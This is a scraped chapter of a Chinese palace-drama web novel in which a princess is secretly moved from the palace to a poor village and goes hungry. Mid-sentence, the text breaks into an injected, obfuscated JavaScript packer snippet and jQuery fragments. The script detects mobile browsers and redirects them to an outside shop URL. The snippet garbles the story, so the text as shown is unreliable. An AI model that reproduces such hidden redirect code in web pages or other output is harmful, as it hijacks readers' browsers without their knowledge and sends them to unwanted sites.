75. 第75章

作品:《捧观音

    勤政殿中寂静无比,周遭的宫人纷纷垂着头,连大气都不敢出一声。


    满地的狼藉刚收拾了一半,地上还散落着一些碎瓷片和木屑,皇帝一言不发地拨动手中的翡翠串珠。


    十几秒后,他毫无征兆地发出一声沉闷的怒吼,他高高地扬起手,将手中的串珠往地上重重一掼。


    翡翠串珠碎裂的清脆声响被衣衫摩擦的沙沙声覆盖,所有宫人低垂脑袋,无比紧张地跪在冰冷的地砖上。


    满室寂静中,一个尖细的声音恍然响起。


    “陛下息怒,”皇帝身边的不知名的小公公壮着胆子说道,“以奴才看,太后带走九殿下,其实是件好事。”


    皇帝的眉头瞬间皱了起来,他的眸光锋利地朝着小公公看去。


    小公公暗自吞了吞口水,心说富贵险中求,便又壮着胆子说道:“九殿下性子刚烈,您越是逼迫,她就反抗得越厉害。”


    “这样一来反而伤了两厢情分,不若……”小公公一顿,他偷偷地看了眼皇帝的神色,这才继续道:“不若分开几日,让九殿下冷静冷静,说不定她反而自己就想明白了。”


    闻言,皇帝心中的怒火慢慢地将下去一些。


    他尚未表态,便又听小公公说道:“奴才有句不中听的话,不知当讲不当讲。”


    皇帝冷声道:“讲。”


    “奴才出生低贱,进宫以前连一顿饱饭都没吃过,”小公公说道,“有时候饿得受不了了,奴才就想,要是有人能让奴才过上吃喝不愁的日子,那他让奴才干什么,奴才都愿意。”


    皇帝的神色有些迟疑:“你的意思是……”


    “九殿下金尊玉贵,又颇得陛下宠爱,从小要什么便有什么,”小公公说道:“她没过过苦日子,因而对陛下的话没什么感触。”


    小公公说着飞快地抬头看了眼皇帝的神色,道:“奴才也只是随便说说而已,陛下千万别放在心上。”


    皇帝拧眉深思,一时间没有言语。


    夜幕悄悄降临,天色黑了下去,太后站在回廊上,远远瞧见偏殿的烛火光暗下去,这才在茯慧的搀扶下走回自己的寝宫。


    “您就别操心了,”茯慧姑姑说道:“偏殿的被褥枕头都是从芳华殿拿过来的,九殿下不会认床的。”


    “啧,”太后脚下一停,她羞恼地瞪了眼茯慧,道:“你懂什么,女孩子家娇贵。”


    茯慧姑姑捂着嘴轻笑了几声。


    廊上挂着几盏引路灯,橙红色的光线幽幽地落在前方的木地板上,太后走着走着忽而轻叹一声,道:“终究是哀家对不住这孩子。”


    “皇帝当年犯的错里,一半有哀家的责任。”


    想起当年,太后只觉得后悔。


    她千不该万不该,不该答应皇帝帮他看顾那名女子。


    “娘娘当年也是被逼无奈,”茯慧宽慰她道,“皇帝是天子,他若是一意孤行,您又能做什么?”


    “当年为了那女子,您与皇帝一见面便争吵,母子情份几乎断绝,”茯慧姑姑说道,“真追究起来,皇帝才是祸首。”


    “住口,”太后冷声打断茯慧的话,道:“越说越没分寸了。”


    茯慧自知失言,她飞快地告了声罪,而后扶着太后继续往寝殿走去。


    夜在寂静中又深了几分,三两只小虫在草丛中鸣叫了几声,寝殿的烛火也暗淡了几分。


    一个普通的夜晚就此拉开了序幕。


    远处的黑暗似乎在隐隐绰绰地抖动,守宫的侍卫察觉不对,定睛看去,却只看见一片沉寂的夜色。


    就在侍卫收回目光的瞬间,那片黑暗迅速地如同潮水般散开,沿着回廊一直流淌到偏殿门前。


    黑暗中出现一点猩红,一缕白烟在猩红处缓缓升起。


    偏殿中的所有宫人都睡熟了。


    不知不觉间,偏殿的门被缓缓推开。


    翌日,清晨。


    太后宫中一片慌乱——赵玄真不见了。


    谁也不知道发生了什么,谁也不知道赵玄真是什么时候不见的。


    可她就这么凭空消失了,无论宫人怎么找,都找不到任何蛛丝马迹。


    初始的惊慌退去之后,太后很快明白了这到底是怎么回事。


    能在宫中悄无声息地把一个人带走,除了皇帝,再没有人有这样的本事。


    太后从牙缝中挤出一声冷笑,她连续道了三声“好”,而后冷声道:“皇帝真是越来越有本事了。”


    “他竟然做出这种下三滥的事。”


    “茯慧,”太后说着便要起身,她道:“哀家要去找皇帝好好说道说道。”


    嘈杂的鸟鸣声从远处传来,赵玄真幽幽转醒。


    她闭着眼睛,一时间没有动弹,不知为何,她昨夜睡得好沉,以至于现在头脑还有些迷糊。


    不知过了过久,赵玄真忽然间觉得有些不对,她深深地吸了一口气,心里霎时一惊。


    不对,这太不对了。


    鼻尖这种青涩的草味儿,怎么也不该是宫中会有的味道。


    赵玄真猛得一睁眼,看见悬在自己上方的茅草屋顶。


    赵玄真很是茫然,她左右看了看。


    墙很破,门很破,只有漏进屋里的明媚阳光还算不错。


    四扇泥巴墙并着一个茅草顶组成了一间房,房子里仅有一只破烂不堪的衣柜,一张同样破烂不堪的桌子,以及一张颇有童趣的瘸腿凳子。


    赵玄真缓缓起身,目光落到了自己身下的床铺上。


    哦,还有一张一动就叽歪的破床。


    破床的床尾搭着一套衣裙,赵玄真伸手把衣裙挑过来。


    这衣裙也不知是用什么布料制成的,摸起来又硬又硌人,赵玄真有些嫌弃地皱了一些眉头。


    可嫌弃归嫌弃,她还是穿上了这套衣裙,还用一旁的木簪子费力地给自己挽了头发。


    空气中的尘埃在明亮的日光中上下浮动,赵玄真缓缓地推开破旧的木门。


    朗朗日光扑面而来,牛哞声、鸟雀声、农人的吆喝声一同贯入耳朵。


    赵玄真愣住了,她缓缓地后退一步闭上了眼睛。


    过了好一会儿,她再度睁眼,眼前的景色却没有任何变化。


    赵玄真这才认命似得叹了口气。


    将她一夜之间从华贵的宫殿转移到破旧的农舍中,除了皇帝,世上没有人有这样的本事。


    虽然不知他到底是何用意,但既来之则安之。


    赵玄真索性走出去,四处逛了逛。


    田里满是劳作的农人,田埂上站着前来送饭的农妇。


    赵玄真走上前去打招呼:“大婶,劳驾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117692|189825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    您……”


    赵玄真的话还没说完,那农妇却如同见了灾星一般迅速地偏过了头。


    赵玄真一愣,她又转向另一个农妇。


    这次她还没张嘴,那妇人便揣着篮子急匆匆地逃也似的走了。


    这……


    赵玄真不死心,她又试了几次,结果跟前两次一样,所有人一见到她就跑,没有人愿意跟她说话。


    八成是狗皇帝下了什么命令,赵玄真暗自思忖。


    她沿着崎岖的小路往自己的屋舍走去。


    现下已经到了午间,家家户户都点起了炊烟,赵玄真闻着,肚子便叫了起来。


    她许久没有吃东西了,她在自己的破屋中一顿翻找,愣是没有找到一口吃食。


    看着面前的冷锅冷灶,赵玄真泄气地一松手,手中的铁勺打在铁锅上发出响亮的一脆声,她心里有些打鼓——


    ——皇帝不会是想饿死自己吧。


    赵玄真深深地叹了一口气,一缕头发随着她的动作飘到了眼前。


    没有知书,她连头发都扎不好,稍微动一动,原本就不牢固地发髻便散了大半。


    肚子实在太饿了,赵玄真在村庄中漫无目的地游走,一直走到河边。


    她弯下腰,捧着河水大口大口地喝了几口。


    溪流两侧长着不少的草,赵玄真便随手摘了一片草叶放进嘴里嚼!


    苦涩的味道瞬间充斥味蕾,赵玄真皱着眉头呸了一声。


    她站起身,四处搜寻,最终犹犹豫豫地来到一户农户门前。


    她知道这些人都不敢跟自己说话,但她还是不死心,她实在是太饿了,她决定一家家一户户地敲过去。


    说不定就有人家愿意给她一点吃食。


    赵玄真礼貌地敲敲门,乖巧地等着门开。


    门很快便开了,可开门的农妇在看见赵玄真一瞬间便又飞快地把门关了上去。


    “大婶,大婶!”


    赵玄真可怜巴巴地扒着木门,伸着头叫到:“我就是想要点吃的。”


    “我不白吃的,我识字,还会绣花缝衣服,我可以帮你做家事。”


    不管赵玄真怎么喊,面前的木门都在没有动过。


    后面每一家的情况皆是如此,赵玄真只能两手空空地回到自己的破茅舍。


    她躺会床上,双手交叠放在小腹处,一双黑眸呆呆地看着头顶的茅草。


    她的肚子饿的发疼,赵玄真捂着肚子把自己缓慢地缩起来,她满脑子都是想要吃东西,仿佛她整个人变成了一只只知道吃东西的巨大的胃。


    “原来饿那么难受,”赵玄真忽而轻声念叨。


    这一瞬间,她明白了皇帝的用意——他想让自己求饶。


    自己非不遂他的愿,赵玄真刚冷笑了几声,可随即肚子又传来一阵绞痛。


    不能这么下去了,她得想想法子,给自己找些吃的。


    要是顾平在就好了……


    赵玄真想起那日出去的时候,自己嫌弃外面的饭菜不好吃,顾平便变着法儿得给自己找吃的。


    还有丽贵妃去飞泉庄的那日,顾平躲着守卫潜入芳华殿偷偷给自己送点心。


    还有自己被关在宗人府,顾平带着饭菜点心前来探望……


    ……他这个人啊,最在意这些细枝末节了。